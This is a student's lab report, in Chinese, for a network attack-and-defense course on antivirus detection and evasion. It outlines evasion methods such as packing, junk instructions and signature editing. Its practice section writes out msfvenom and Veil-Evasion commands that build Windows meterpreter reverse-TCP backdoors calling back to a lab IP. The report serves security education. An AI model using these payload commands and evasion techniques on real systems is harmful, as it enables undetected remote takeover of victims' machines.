代码改变世界

2017-2018-2 20179226 《网络攻防》第12周作业

2018-05-27 18:00  20179226任逸飞  阅读(221)  评论(0编辑  收藏  举报

一、基础问题回答

1.杀软是如何检测出恶意代码的?

1)基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
2)启发式恶意软件检测
根据些片面特征去推断。其可以检测0-day恶意软件,具有一定通用性;但是其实时监控系统行为,开销稍多,没有基于特征码的精确度高。
3)基于行为的恶意软件检测
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2.免杀是做什么?

免杀即使用不同方法帮助恶意软件绕过杀毒软件的查杀。

3.免杀的基本方法有哪些?

1)加壳脱壳与加密解密
利用特殊的算法,对可执行文件与动态库里的资源进行压缩与对文件的描述、版本号、创建日期、修改软件、系统执行需求等外层数据进行伪装。
2)加花指令与程序入口点修改
加花指令就是在程序开头加入一段计算用的汇编指令和一些入口点内存地址的乱跳转,或加上其他常用程序特有的入口指令来迷惑杀毒软件。因为计算与跳转的最后结果是没有实质的意义的,所以这么做并不影响程序的正常运行。但能使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。
程序入口点修改就是改变入口点,通常用到的方法是在入口点的地址加1或把入口点地址拆开,也有加花指令之后把原入口点修改到花指令的入口点上令电脑先处理那段没意义的指令,再在花指令后再加跳转代码,跳转到程序执行数据的入口点上,令程序正常运行。
3)内存、文件特征码的定位与修改
首先用特征码定位软件定位文件特征码的所在之处,再用UltraEdit对被定位的特征码段进行修改。
一般修改方法有:
十六进制的特征码直接修改法,就是把十六进制的特征码加1;
字符串大小写修改法,就是特征码所对应的内容是字符串的时候,把大小字互换;
等价替换法,就是当特征码所对应的是汇编指令时,把指令替换成功能类拟的指令;
指令顺序调换法,把特征码对应的汇编指令的顺序互换;
通用跳转法,用跳转的方法把特征码对应的汇编指令跳转走,犹如加花一样。
4)集成在盗版软件中,诱使使用者使用时关闭杀软防火墙。

二、实践总结与体会

此次实验使我深入了解了病毒或者是木马的查杀原理,通过对免杀技术的了解,意识到电脑并不是装上了杀毒软件就万无一失了,很多病毒是查杀不到的,但是装上几个杀毒软件之后电脑就运行不起来了,所以最重要的还是我们的防范意识要强。

三、离实战还缺些什么技术或步骤?

操作过程中只能按照教程来,自己对免杀实际的作用方法理解还不透彻,编程能力还不够。

四、实践过程记录

1.使用msf编码器直接生成一个后门程序

kali ip:172.30.7.183
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.7.183 LPORT=443 -f exe > Rebrust-2.exe

将文件传送到windows以后被查杀

然后用virscan进行检测,结果如下:

2.用Veil-Evasion生成可执行文件

kali原本没有veil-evasion ,所以需要先安装sudo apt-get install veil-evasion
然后使用命令Veil-Evation,打开Veil-Evation,按照menu提示进行相关操作:

menu下依次输入语言、ip、端口号以及文件名等
use python/meterpreter/rev_tcp
set LHOST 172.30.7.183
generate
5329
1



3.shellcode编程

在kali终端下生成一个c格式的十六进制数组,ip为kali的
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.7.183 LPORT=443 -f c

将c代码上传到virscan扫描,结果杀毒软件鉴定为恶意代码,并且提出了警告。

五、遇到的问题与解决过程

1.问题:使用命令sudo apt-get install veil-evasion安装veil-evasion时各种失败。
解决过程:最后使用了github上克隆的方法,输入命令git clone https://www.github.com/Veil-Framework/Veil-Evasion.git即可。